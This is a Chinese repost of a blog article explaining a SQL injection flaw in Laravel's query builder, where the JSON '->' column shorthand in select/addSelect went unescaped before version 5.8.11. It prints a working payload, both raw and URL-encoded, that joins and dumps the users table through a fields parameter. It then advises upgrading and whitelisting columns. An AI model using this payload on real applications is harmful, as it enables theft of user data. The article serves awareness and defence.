Laravel中的不安全SQL函数

栏目: 编程语言 · PHP · 发布时间: 5年前

内容简介:我最近了解到并非Laravel中的所有查询构建器功能都是“安全的”。这意味着不应将用户输入直接传递给它,因为它可能会将您的应用程序暴露给SQL注入漏洞。过去几天很明显,社区对这些不安全的功能知之甚少。许多开发人员和我一样认为,Laravel查询构建器完全阻止了SQL注入攻击。这篇博文旨在提高人们对什么是安全的,哪些不安全的意识。

我最近了解到并非 Laravel 中的所有查询构建器功能都是“安全的”。这意味着不应将用户输入直接传递给它,因为它可能会将您的应用程序暴露给 SQL 注入漏洞。

过去几天很明显,社区对这些不安全的功能知之甚少。许多开发人员和我一样认为,Laravel查询构建器完全阻止了SQL注入攻击。

这篇博文旨在提高人们对什么是安全的,哪些不安全的意识。

SQL注入漏洞?

让我们首先 提一下Laravel 5.8.11 开始修复此漏洞。虽然从技术上讲我们可以称之为“漏洞”,但Laravel开发人员应该知道他们也在防止这类问题方面发挥作用。

我们来看看这个问题吧。

Laravel能够手动指定在查询中选择哪些列。它还提供了查询JSON数据的简写表示法:

Blog::query()
    ->addSelect('title->en');
SELECT json_extract(`title`, '$."en"') FROM blogs;

json_extract 我们可以使用简化的 -> 语法,而不是手动编写,Laravel将转换为正确的SQL语句。

但要小心:Laravel在转换过程中不会进行任何转义。请考虑以下示例:

Blog::query()
    ->addSelect('title->en'#');

通过 '# 在我们的输入中插入,我们可以手动关闭该 json_extract 函数,并忽略查询的其余部分:

SELECT json_extract(`title`, '$."en'#"') FROM blogs;

由于语法错误,此查询将失败,但下一个查询呢?

SELECT json_extract(
    `title`, 
    '$."en"')) 
FROM blogs RIGHT OUTER JOIN users ON users.id <> null
#
    "') FROM blogs;

我们在 users 桌面上添加了一个外连接。基本上选择其中的所有数据。

作为参考,这是恶意代码的URL编码版本:

%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23

假设我们的应用程序中有以下端点,用于从公共API查询博客帖子:

Route::get('/posts', function (Request $request) {
    $fields = $request->get('fields', []);

    $users = Blog::query()->addSelect($fields)->get();

    return response()->json($users);
});

此API的消费者可能只对几个字段感兴趣,这就是我们添加 fields 过滤器的原因。与JSON api规范中的 稀疏字段集 类似的东西。

现在可以像这样使用端点:

/blog?fields[]=url&fields[]=title

现在我们插入恶意代码:

/blog?fields[]=%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23

它将被添加到查询中。通过将查询结果作为JSON返回,我们将看到users表的完整内容。

Blog::query()->addSelect([
    '%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23'
])->get();

要使这种攻击成为可能,需要做两件事:

  • 一个可访问的API端点,允许攻击者将其恶意代码传递给 selectaddSelect 。您可能无法在项目中手动执行此操作。虽然有一些流行的软件包可以为简单的API端点和URL过滤提供此功能。
  • 入口点表必须具有包含JSON数据的列。否则该 json_extract 函数将失败,停止我们的查询。但从入口点开始,您可以访问所有数据。

预防?

如前所述,自 Laravel 5.8.11 起,此特定漏洞已得到修复。随时了解最新的Laravel版本总是很好的。

更重要的是,开发人员不应该直接允许用户输入指定列,而不是白名单。在我们之前的示例中,您可以通过仅允许请求某些字段来防止此攻击,这将完全阻止此问题。

接下来,我们广泛使用的一个包,由设计 spatie/laravel-querybuilder 开放 addSelect 。这意味着使用我们的软件包的网站容易受到潜在问题的影响。我们立即修复了它,Freek 深入地 写了 这篇 文章 。如果您正在使用我们的软件包并且无法更新到最新的Laravel版本,则应立即更新软件包。

最后, Laravel文档 也已更新,以警告开发人员在使用查询构建器时不要将用户输入直接传递给列。


以上所述就是小编给大家介绍的《Laravel中的不安全SQL函数》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据挖掘中的新方法:支持向量机

数据挖掘中的新方法:支持向量机

邓乃扬、田英杰 / 科学出版社 / 2004-6-10 / 53.00元

支持向量机是数据挖掘中的一个新方法。支持向量机能非常成功地处理回归问题(时间序列分析)和模式识别(分类问题、判别分析)等诸多问题,并可推广于预测和综合评价等领域,因此可应用于理科、工科和管理等多种学科。目前国际上支持向量机在理论研究和实际应用两方面都正处于飞速发展阶段。希望本书能促进它在我国的普及与提高。 本书对象既包括关心理论的研究工作者,也包括关心应用的实际工作者。对于有关领域的具有高等......一起来看看 《数据挖掘中的新方法:支持向量机》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

SHA 加密
SHA 加密

SHA 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具